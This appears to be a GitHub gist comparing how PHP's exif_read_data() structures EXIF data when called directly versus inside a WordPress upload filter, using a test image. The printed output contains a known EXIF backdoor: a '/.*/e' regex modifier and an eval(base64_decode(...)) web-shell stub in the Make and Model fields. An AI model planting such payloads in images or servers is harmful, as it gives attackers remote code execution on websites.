Last active
          December 19, 2015 20:49 
        
      - 
      
- 
        Save pixline/6016125 to your computer and use it in GitHub Desktop. 
    Differences on exif_read_data() between raw PHP and WordPress 'wp_handle_upload_prefilter' filter. Raw PHP call will return $exif['Make'] and $exif['Model'] while WordPress filtered upload will set $exif['IFD0']['Make'] and $exif['IFD0']['Model']
  
        
  
    
      This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
      Learn more about bidirectional Unicode characters
    
  
  
    
  | <?php | |
| print_r( exif_read_data( 'sucuri-test.jpg' ) ); | |
| /* | |
| Array | |
| ( | |
| [FileName] => sucuri-test.jpg | |
| [FileDateTime] => 1374009774 | |
| [FileSize] => 38936 | |
| [FileType] => 2 | |
| [MimeType] => image/jpeg | |
| [SectionsFound] => ANY_TAG, IFD0, COMMENT | |
| [COMPUTED] => Array | |
| ( | |
| [html] => width="420" height="420" | |
| [Height] => 420 | |
| [Width] => 420 | |
| [IsColor] => 1 | |
| [ByteOrderMotorola] => 1 | |
| ) | |
| [Make] => /.*/e | |
| [Model] => @ eval ( base64_decode('aWYgKGl zc2V0KCRfUE9TVFsie noxIl0pKSB7ZXZhbChzd HJpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30=')); | |
| [XResolution] => 1/1 | |
| [YResolution] => 1/1 | |
| [ResolutionUnit] => 1 | |
| [YCbCrPositioning] => 1 | |
| [COMMENT] => Array | |
| ( | |
| [0] => CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90 | |
| ) | |
| ) | |
| */ | 
  
    
      This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
      Learn more about bidirectional Unicode characters
    
  
  
    
  | add_filter( 'wp_handle_upload_prefilter', 'wp_handle_upload_prefilter' ); | |
| function wp_handle_upload_prefilter( $meta ){ | |
| $exif_data = exif_read_data( $meta['tmp_name'], 0, true ); | |
| error_log( json_encode( $exif_data ) ); | |
| } | |
| /* | |
| { | |
| "FILE":{ | |
| "FileName":"phpo0xRNz", | |
| "FileDateTime":1374014899, | |
| "FileSize":38936, | |
| "FileType":2, | |
| "MimeType":"image\/jpeg", | |
| "SectionsFound":"ANY_TAG, IFD0, COMMENT" | |
| }, | |
| "COMPUTED":{ | |
| "html":"width=\"420\" height=\"420\"", | |
| "Height":420, | |
| "Width":420, | |
| "IsColor":1, | |
| "ByteOrderMotorola":1 | |
| }, | |
| "IFD0":{ | |
| "Make":"\/.*\/e", | |
| "Model":"@ eval ( base64_decode('aWYgKGl zc2V0KCRfUE9TVFsie noxIl0pKSB7ZXZhbChzd HJpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30='));", | |
| "XResolution":"1\/1", | |
| "YResolution":"1\/1", | |
| "ResolutionUnit":1, | |
| "YCbCrPositioning":1 | |
| }, | |
| "COMMENT":["CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90\n"] | |
| } | |
| */ | 
  
    Sign up for free
    to join this conversation on GitHub.
    Already have an account?
    Sign in to comment